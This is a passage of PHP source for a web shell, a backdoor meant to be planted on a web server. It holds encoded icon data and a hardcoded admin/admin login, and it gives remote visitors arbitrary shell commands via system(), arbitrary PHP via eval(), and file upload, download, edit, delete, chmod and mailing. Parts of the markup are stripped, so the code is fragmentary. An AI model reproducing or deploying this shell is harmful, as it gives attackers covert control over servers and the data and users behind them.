'eNpz93SzsEwUYBBgSGNgUPzJwsjAkMygwwAEILE2IH37///llZV8fEKt9ctOfv1/6Ov/I9///9sRfLPV+cb//2/+g8Cd//8v/v2/8vzHo1//P3j/9XxPRGVp6Yw11/NLJvxa69nRvXrZyfcHPv1vnbHp+///t/7/t7eP3bp++a23n1/8//8DqH9H0JZJCXx8wn0rzvUvPdlZWtxWv7iuru5+h8OKsuL/O4PXHX+wcNOFaRvOxcaWN0zZOW/Hg/ysjmvNLkGh+b9Wuf3+/3/n4//7P/6//un/7BUXz377f+zb/5oJW8/++L/n3f/jP/97e+cfuvX+1ff/hTWrjn3+v+T8170f/q+49HkDUNeb/2vu/1+2/+nz//9v/v9fXrvi2v//T///3/jk/7Gf/w99/D9z05lJ806tuvv/7P//1///3/P+/4vf/3c++z95zZnFe59e/PP/7tOPfRP3M9AGsE9rSG5qblJTNRIJaOlOSoyxd3Bzd+1uduZx8fbx8vB0mmptY2VhyebIbms31Zc1NjoyipErIW5qPGsEW2AQt59/GEN3eGhwCCO3ubSM1MFuCUl2LgVFHnnZqXLi/AJ8jLyComebxDiEhA0M9XX1TB8lm3GYMBmfZXjXpMPJxKIytUXpFwfPB/OMli5RJk4+r0Kmow6tApxsTAzWAKeDCNc=', $v['shell'] => 'eNpz93SzsEwUYBBgCGVgUPzJwsjAoMmgwwAEILFWEGPmfyCYeeb/06f/GVpfv3r1/8OH/79////69f+1a/9v3/7/4AGQce3evf/v3v2/dOn/+fP/Hz78f/36/2fP/j9+/P/Nm/8vXvy/cuX/z5//L1++du7ctTt3/jNM/H7mzH/btf8vXvx/+vS1Xbuubdt27fPn//v3Xzt+/NrNm/8PH77GQA3A1nJgSoGHDh/ziSVClTIW8y8cVFdwEVt3I6d9FpfJPt6zailOU12U8xwOiCkIsTM3bgxYcTtvx5y89ZsYKwuLS8vrJVX4q1tCOXolGdjFRET51CWyOGdO4BcvlhEWyGJnZ+AXE2cQ4mPgUshi28AmwrKqVEAwi2UXiygPH7ewhKBcTKz3cbeTro4M1gBqtZKH', 'system' => 'eNpz93SzsEwUYBBgKGdgUPzJwsjA0MGgwwAEILF2IM0rZdy+8s7///8vvvh/7fX/O+/+n376/+ij/48+/n/77f+BB/95pY1WXfnvvOz7huv/z1z9X9l/aP3hD3svvbj96FXfvg8vtpgtzxBYXSq6q0rkwGT/F1/+P3n57vo864PbNh48MOXsDI6GOee3nvj0fo9rzdQTG49+vPLq//1nby7Pkbq9wbWzpfroBK5ZK67NWHZ5+pJLc9feXHrp/9K97/Kq181ceKZ74rbuvh280saTpx2cPu/ktDnHps48suLy39UHP5R27K6Yd7Juy+u54QJRs25fvf/i4u1nu+/+33rrf1HT1lWX/6y+8nfF/vdrqkUvXbrk1mkrv0606JlPTsXKHz9+vP/3cuKZw2Uv/JZfmKtap9T4JmzXyS+CClbfvn379ff/11//v/7+b+yR2bH6Xsvia2VbXjlMetizYPaWh7tWbf46fd5SKW33X79+vfr1lGsG28yZM3fMMD842/DagSj5DnPzxd7x7RLbT376eDj00/HUJUuWXL6ytXnR1ZdvPjz88P/z5y+1e9tLnvvyS5uyzWY5/PDv3rOfI69a7zrz+d2HT/ffvdx246fjUW31jbLWVaEMo4AugOMGg6CikMOGBdP1mVi0RDQSGg63M7M0vNxUoOCiG73DokDg2BknxnS2BZrKaT1MHAInbH5yqHZNVvWZ5eGZsOCAqA4Xa8pGo1avqSa1f0QUPrT7n7Op+saglfJCQJGJnYn1hGbGhNnmBbdWRB5mc5yzkuntncCG5X1zLEumNPxQYNJZJCBjpvLhQqILl4h2yJQC70csvsJSehEnGhY2sWwX1LiiYvCQfYKCXdmHgtvOJy4wc4jJOH5a4Ci03a3N4azPEo90CcM7pyoOLmrtlrQoerHDcXFbbxcP04t7a2c3HmhgsAYAzetpPQ==', 'text' => 'eNpz93SzsEwUYBBgCGVgUPzJwsjAoMegwwAEILFWIP3yy6faurr///+Xlx8oKCj4/vvXm29f/vz9+/HH97YMx917917Z71VefnBuU8yELIOD527uOXOlvL5eXFJy39kr+0/d8A8Jmb1g45uvXyZOnfL66+esnJxtp85t2717/7Gje1ZN7K3I27ntcktuzvo29Sn5kn1lUSsn5O0/d3X/2av7Llw8eP7avi27jhx7tPvsBQayAFuBw/QCDx0h9x72zsCkDhm38MUffzQ4LRPd4pGgydTVfGiBhMiOtQ2/JhgonImZanWg7HBnS7DDgfgb5ys0ikvzG5xZNKtrmLiZy9tFmnNbY0S7avvanFgEJtXHCFZzt/TPlsmSkpCTlZQOFBcSE2YI3LrNkcEaAA9yiRw=', $v['transfer'] => 'eNpz93SzsEwUYBBgKGdgUPzJwsjA0M6gwwAEILF2ECONYcW5dwknDXIvW1U9cFdbK8K7gN1hpwJD9EGGnEvd97PEwlsYqhkYWjzY0ngZChh4pU0YMmQMM9qY0pkZChkY4o8qFhxjyGRgqDjHkK/P0LGBoZWBoUSSecZfq22yVttSZ9+fJ7BAXGqZLkOmAHPdFoZsBtbkHB5ZU9YcJl5p0+r9q8JXHfdInsmuliBQwZG89hi/khevjCmvtLGMZQOftIls3umJe46w5TAzeG9kz2VhSONVzj+smOYsF9LJJ2shm+LCYD+Dt5jNrrnOcsZt27RKJbcmASVHg40Sa97P3fFlw7ZP+5NPmbLV3Oayz008kV99PZSxIoVXxabq+AeGOhfPfX6yy+0YGp4x1D622yEvObtHruVs9jmbngdtkx+Xtd1JFnLMKrvi7bFXRXj2xDnPl8QemzfvxdptX7YnnPyvu+E/w+Sbmecaw45oZ56zzD1vyzCBQafzFkPJLdllstwqNgx1DAz5DMxRCWZbpKc9qV7zennH3dsTHs5UW2YbeEiz4qqv257/HK4F7ouecrXuZijlZ+hJ5Zj9lqGFYRTQDXDcZ+DnFKlgPsYl5qzGE6Nh4CKuH78j5eImVp7DzqliMyyd1XpmGEbMsoj80XKyScVrmsPKpKdcUzWCWPweXj5+Xs6m8ssfTZcTFxQcmJg5dx1e1jvbNOPSikrn5X1zLdsfHJnY/ISZg5HJJufBhYNHOEXahTQ0FJNaGISkWCwyGB4yNnO060UETHBkaGNiVeFY4bCwvV++veKJh4IDe9weaxYGzaQnJxSVHFk4FB12GvEx6sbwiHxIanh+fl4wR4ChQcNLBo4gZQvZBWzO0ow8J8wEGtx6upmYZW7UKjTw3NkZyT5jo4ECgzUAAnzwQw==', 'unknow' => 'eNpz93SzsEwUYBBgMGZgUPzJwsjAwM2gwwAEILHm////NzQ0gLgMDQcOHGBg+A/k/P8P5IGo/wzogMW/oNUzO0KC/UD1/JlPem8v7Y0rjZrqMONpAU+JLoNB3PvDc/M1GvJZLSQsWM8FbDHUYGh1KYp8JMPI0SLgzhPU2rQh4owoa7BUU9XZsMMRH1xZGKwBR1wyMA==', $v['upload'] => 'eNpz93SzsEwUYBBgSGNgUPzJwsjAUMigwwAEILE2IP3//8z/r1v/f+3Pvmjx/0FVymmjgIMa///vLL3tZLFVxnaR5v//l6f8Suz6EK43Warhme+dY/0fjiU+Ol9pqMDwcFvI3Arx/59m83EyXFyX8P/ngf//T///f+D/p1039zf8///8//+bF+cZ/vl57f+n1f//X2tO5Pt0KvfacsP9/TKTMxj+v97x51Lm+8O+e6Y57J+s2xHPkOrK4KbPICXE4KrHsKdb/eebY//fTTFUZHh5NvbkHLXpORzbegwirRk+nYu5s9n2zf7I9w/m//ywZV6JkFw//6VtlfdPTvz0pu3ZzeJJyQzaEyVEu7j//58ftseMwZfBfK7c////5VtFOPJYtaeKSqSxZ5yzD9yuZzxTKv+qR0M0g2+/w6eXZ/7/v6Oby66bw2DZoCApyFAfwvDzZv//T6f+/399bU/ZmfWel3Y2vH+0b8vkIOXVQtytbKLJDA5tug7Nsn++Pvvz832+LwNJgH1TQ2FTQFNhYGtHKzevjy+/X2dHN59AKEsYw8Sm8CmcLGxBM2cFh8xjY3d2cXVwdOr0nM/O5eXN6ObuEZHRxL+RKzMrNU0wPc8/v6AwOyc3JjYuMiqahycpOSW+MCHRXk5eQVqG47GsiuoiNUUlxjdvGZWFRVqFJKWYv/9gFhdbVCgqaMbCIaPBcJzHxSRLJGLHhvZ+GatfR28uTGLtFtYIOtCh6Jw0R0wv7sOOxoPJSgwapqJcLAzWAKqX9qg=', 'web' => 'eNoBdAKL/UdJRjg5YRAAEABmAAAh+QQBAAB+ACwAAAAAEAAQAIYAAAD+/v15eXn9/fy/v7/8/Pv7+/q5ubn8+/u3t7f6+fj6+vn5+Pf39vb49/f5+Pj39fX29fT19PP7+vn6+fm+vr79/PyFhYW2fCn0viOsrKwlXZhEyf8Xtv8+wP0AdsoHt//yoRogSWoAbsD4+PewsLD1yyZhv/xPsv12lK9Bia7V2N2qv9Swo4WVrL+zv8zhiQ3KiynaoTnz8vH08vL08/OPj4/y8PDz8fGcnJz0uR6XXA2UkYsJUJa3uL2rq6sbhMQ+eKS+w8smaZoYf6sknNqNcDE1fc+yws3auDWAnbY+q/OpsF2FZiJRjbBX0v/apx+qoWUcn/W6ulC7u7vf6/Gr1/S8vLzKysrExMT29vbw0YDm5eXg39+7jR3Ax3/2wDK9jSkUcsMYRnr9/PsBWrYDR4gGXKEDV5w7cKD39vX49/YDOHiysrLtyDCadx32sRltUQj5+fiwtlQWcOBWfYQDW6y1mTX/vCZtXSW0tLQjl/1Aqf8TYOAAAAAAAAAH0YB+fgSEhYUVgomDCAUDAwEBBQFYB4p+FQaMjpABWVqViVcLmY2PAQcJCaB+VFVWX2BhXluQXF2rSktMSUZHSFGbAQmJUlNQTU5PdHUWpsN+dnNwcQxye3x9Bc0BeoJ3eHlmZ2hlYmMGBWQDbYJub2xpamskDxQT6AUlfiYhIiMqK1icQJHCXiYNfjJg2PABhAcOHXr4eKBg1A8/OnbwGEKkCJAgQho4oLgghyAYMWS0cPFCQgQIIhkosJHowg0cM2jUcAnTAYMLiQQIHUp0qJ9AADt37kMv' ); if (($_SERVER['PHP_AUTH_USER'] != 'admin') || ($_SERVER['PHP_AUTH_PW'] != 'admin')) { header('WWW-Authenticate: Basic realm="'.$_SERVER['HTTP_HOST'].'"'); header('HTTP/1.0 401 Unauthorized'); exit; } if (isset($_GET[$v['css']])) { ?> body { color: rgb(150, 150, 150); background-color: rgb(0, 0, 0); } a:active, a:link, a:visited { color: rgb(255, 0, 0); background-color: transparent; text-decoration: none; } a:hover { color: rgb(255, 255, 255); background-color: transparent; text-decoration: none; } input, select, textarea { color: rgb(255, 0, 0); background-color: rgb(0, 0, 0); border: solid 1px #969696; } $value) { if(in_array($_GET[$v['image']], $value)) $_GET[$v['image']] = $key; } if (!isset($img[$_GET[$v['image']]])) $_GET[$v['image']] = 'unknow'; } echo gzuncompress(base64_decode($img[$_GET[$v['image']]])); exit; } else { header('Content-Type: image/'.substr(basename($_GET[$v['file']]), -strpos(strrev(basename($_GET[$v['file']])), '.'))); readfile($_GET[$v['file']]); exit; } } function action($this, $type) { switch ($type) { case 'copy': if (!isset($this[0])) copy($this['source'], $this['destination']); else { for ($img = 0; $img < count($this); $img++) copy($this[$img]['source'], $this[$img]['destination']); } break; case 'delete': if (!isset($this[0])) unlink($this['source']); else { for ($img = 0; $img < count($this); $img++) unlink($this[$img]['source']); } break; case 'download': header('Content-Type: application/force-download'); header('Content-Transfer-Encoding: Binary'); if (!isset($this[0])) { header('Content-Length: '.filesize($this['source']).''); header('Content-Disposition: attachment; filename="'.basename($this['source']).'"'); readfile($this['source']); } else { header('Content-Disposition: attachment; filename="'.count($this).'files.tar"'); for ($img = 0; $img < count($this); $img++) { $this[$img]['stat'] = stat($this[$img]['source']); $tar = pack('a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12', basename($this[$img]['source']), sprintf('%07o', $this[$img]['stat'][2]), sprintf('%07o', $this[$img]['stat'][4]), sprintf('%07o', $this[$img]['stat'][5]), sprintf('%11o', $this[$img]['stat'][7]), sprintf('%11o', $this[$img]['stat'][9]), ' ', substr($this[$img]['source'], strpos($this[$img]['source'], '.')), '', 'ustar ', ' ', 'Unknown', 'Unknown', '', '', '', '' ); $checksum = 0; for ($x = 0; $x < 512; $x++) $checksum += ord(substr($tar, $x, 1)); $tar = substr_replace($tar, pack('a8', sprintf('%07o', $checksum)), 148, 8); echo $tar; readfile($this[$img]['source']); if ($img < count($this)) { for ($x = 0; $x < 512 - $this[$img]['stat'][7] % 512; $x++) echo "\0"; } } echo pack('a1024', ''); } break; case 'edit': $fopen = fopen($this['source'], 'w+'); fwrite($fopen, $this['value']); fclose($fopen); break; case 'mail': mail($this['destination'], $this['subject'], $this['message'], 'From: '.$this['source']."\n"); break; case 'move': if (!isset($this[0])) rename($this['source'], $this['destination']); else { for ($img = 0; $img < count($this); $img++) rename($this[$img]['source'], $this[$img]['destination']); } break; case 'newdir': mkdir($this['value']); break; case 'newfile': touch($this['value']); break; case 'php': return eval($this); break; case 'phpinfo': phpinfo(); exit; case 'rename': if (!isset($this[0])) rename($this['source'], $this['destination']); break; case 'right': if (!isset($this[0])) chmod($this['source'], octdec($this['chmod'])); else { for ($img = 0; $img < count($this); $img++) chmod($this[$img]['source'], octdec($this[$img]['chmod'])); } break; case 'search': $l = listing($this['source']); for ($img = 0; $img < count($l); $img++) { if ($l[$img]['type'] != 'file' || !@is_readable($l[$img]['path'])) continue; $file_get_contents = file_get_contents($l[$img]['path']); if (ereg($this['value'], $file_get_contents)) $search[] = $l[$img]['path']; } if (!isset($search)) $search[] = 'nothing found'; return $search; break; case 'shell': return system($this); break; case 'transfer': for ($img = 0; $img < count($this); $img++) { $fopen_destination = fopen($this[$img]['destination'], 'w+'); $fopen_source = fopen($this[$img]['source'], 'rb'); while (!feof($fopen_source)) fwrite($fopen_destination, fgets($fopen_source, 4096)); fclose($fopen_source); fclose($fopen_destination); } break; case 'upload': for ($img = 0; $img < count($this); $img++) move_uploaded_file($this[$img]['source'], $this[$img]['destination']); break; } } function clickable($this, $type) { global $_PHP_SELF, $v; switch ($type) { case 'path': $clickable = $nextexplode = ''; $explode = explode('/', $this); for ($img = 0; $img < count($explode); $img++) { if (!empty($explode[$img])) $nextexplode .= $explode[$img].'/'; else { $clickable .= '/ '; if (!empty($explode[$img+1])) continue; break; } $clickable .= ''.$explode[$img].'/ '; } break; } return $clickable; } function listing($dir) { $opendir = opendir($dir); $img = 0; while (($readdir = readdir($opendir)) != false) { $l[$img]['name'] = $readdir; $l[$img]['path'] = realpath($dir.'/'.$readdir); $l[$img]['type'] = @filetype($l[$img]['path']); $l[$img]['right'] = @fileperms($l[$img]['path']); $l[$img]['modify'] = @filemtime($l[$img]['path']); $l[$img]['size'] = @filesize($l[$img]['path']); $img++; } closedir($opendir); return $l; } function viewable($this, $type) { global $u; switch ($type) { case 'date': $viewable = date('d-m-Y H:i', $this); break; case 'lright': $viewable = ''; $viewable .= ($this & 0400) ? 'r' : '-'; $viewable .= ($this & 0200) ? 'w' : '-'; $viewable .= ($this & 0100) ? 'x' : '-'; $viewable .= ($this & 0040) ? 'r' : '-'; $viewable .= ($this & 0020) ? 'w' : '-'; $viewable .= ($this & 0010) ? 'x' : '-'; $viewable .= ($this & 0004) ? 'r' : '-'; $viewable .= ($this & 0002) ? 'w' : '-'; $viewable .= ($this & 0001) ? 'x' : '-'; return $viewable; break; case 'nright': $viewable = substr(decoct($this), -4); break; case 'size': for ($img = 0; ($this / 1024) > 1; $img++) $this = $this / 1024; $viewable = round($this, 2).' '.$u[$img]; break; } return $viewable; } if (get_magic_quotes_gpc()) { function stripslashes_array($array) { if (is_array($array)) return array_map('stripslashes_array', $array); else return stripslashes($array); } $_GET = stripslashes_array($_GET); $_POST = stripslashes_array($_POST); } if ($_SERVER['PHP_SELF']) $_PHP_SELF = $_SERVER['PHP_SELF']; else $_PHP_SELF = $_SERVER['SCRIPT_NAME']; if (ini_get('safe_mode')) $_SAFE_MODE = 'SAFE_MODE: ON'; else $_SAFE_MODE = 'SAFE_MODE: OFF'; if (empty($_GET[$v['dir']]) && empty($_GET[$v['file']])) $_GET[$v['dir']] = realpath('./'); if (isset($_GET[$v['action']])) ${$v['action']} = $_GET[$v['action']]; if (isset($_POST[$v['action']])) ${$v['action']} = $_POST[$v['action']]; ?>
echo $_SERVER['SERVER_NAME'] ?> | |
| |
echo php_uname() ?> | |
'."\n"; echo count($search).' results found in:'."\n"; echo '
'."\n"; for ($img = 0; $img < count($search); $img++) echo ''.$search[$img].'
'."\n"; } else { ?> $value) { if(in_array($extension, $value)) $extension = $key; } if (empty($extension)) $extension = 'unknow'; } switch ($extension) { case 'image': ?>